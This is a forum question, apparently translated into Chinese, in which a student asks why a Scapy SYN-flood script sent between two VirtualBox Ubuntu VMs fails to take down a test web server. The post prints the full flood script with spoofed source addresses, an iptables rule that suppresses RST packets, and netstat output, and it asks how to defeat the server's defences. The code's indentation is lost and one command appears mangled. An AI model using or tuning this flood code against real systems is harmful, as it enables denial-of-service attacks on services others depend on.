对于一个学校项目,我正在尝试使用带有scapy的Ubuntu桌面18.04在Ubuntu服务器(18.04)上执行DOS。它们都作为VM放置在VirtualBox上。 在服务器端,我在端口80上有一个python SimpleHTTPServer,它可通过台式机通过浏览器ping通和访问。 我正在尝试使用以下代码进行DoSing:
#!/usr/bin/env python
import socket, random, sys
from scapy.all import *
def sendSYN(target, port):
#creating packet
# insert IP header fields
tcp = TCP()
ip = IP()
#set source IP as random valid IP
ip.src = "%i.%i.%i.%i" % (random.randint(1,254), random.randint(1,254), random.randint(1,254), random.randint(1,254))
ip.dst = target
# insert TCP header fields
tcp = TCP()
#set source port as random valid port
tcp.sport = random.randint(1,65535)
tcp.dport = port
#set SYN flag
tcp.flags = 'S'
send(ip/tcp)
return ;
#control arguments
if len(sys.argv) != 3:
print("Few argument: %s miss IP or miss PORT" % sys.argv[0])
sys.exit(1)
target = sys.argv[1]
port = int(sys.argv[2])
count = 0
print("Launch SYNFLOOD attack at %s:%i with SYN packets." % (target, port))
while 1:
#call SYNFlood attack
sendSYN(target,port)
count += 1
print("Total packets sent: %i" % count)
print("==========================================")
基本上在用户指定的端口上向目标计算机发送无限数量的SYN请求。它的用法是:sudo python pythonDOS.py <target IP> <target port>
。
在启动此命令之前,我在攻击机上执行sudo iptables -A OUTPUT -p tcp -s <attacker IP> RST RST -j DROP
,以防止内核发送RST请求。
攻击似乎有效:在攻击者计算机上的Wireshark上,我可以看到数据包已正确发送,但是服务器没有关闭。
在目标服务器上运行netstat -antp | grep 80
,我得到以下输出:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 138.221.76.4:24171 SYN_RECV -
tcp 0 0 192.168.1.51:80 164.253.235.187:64186 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
如果我在几秒钟后重新运行该命令:
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN -
tcp 0 0 192.168.1.51:80 100.58.218.121:10306 SYN_RECV -
tcp 0 0 192.168.1.51:80 35.206.32.111:50544 SYN_RECV -
tcp 0 0 192.168.1.51:80 47.206.177.213:39759 SYN_RECV -
tcp 0 0 192.168.1.51:80 55.107.244.119:17977 SYN_RECV -
tcp 0 0 192.168.1.51:80 85.158.134.238:37513 SYN_RECV -
尽管我正在攻击者计算机上执行数百个此类请求,但服务器似乎最多可以处理5个SYN_RECV,因此我认为这就是为什么我无法DOS服务器的原因。 ufw被禁用。我的目标是禁用或了解服务器上正在发生的事情,并禁用它以执行DOS攻击。 感谢您的任何帮助。
更新:我在目标服务器上安装了tshark,从中我可以看到我正在发送的所有数据包都已在服务器上接收到,因此它们不会在两个虚拟机之间的通信中丢失。同样在运行netstat -i
时,我看到没有RX_DROP
。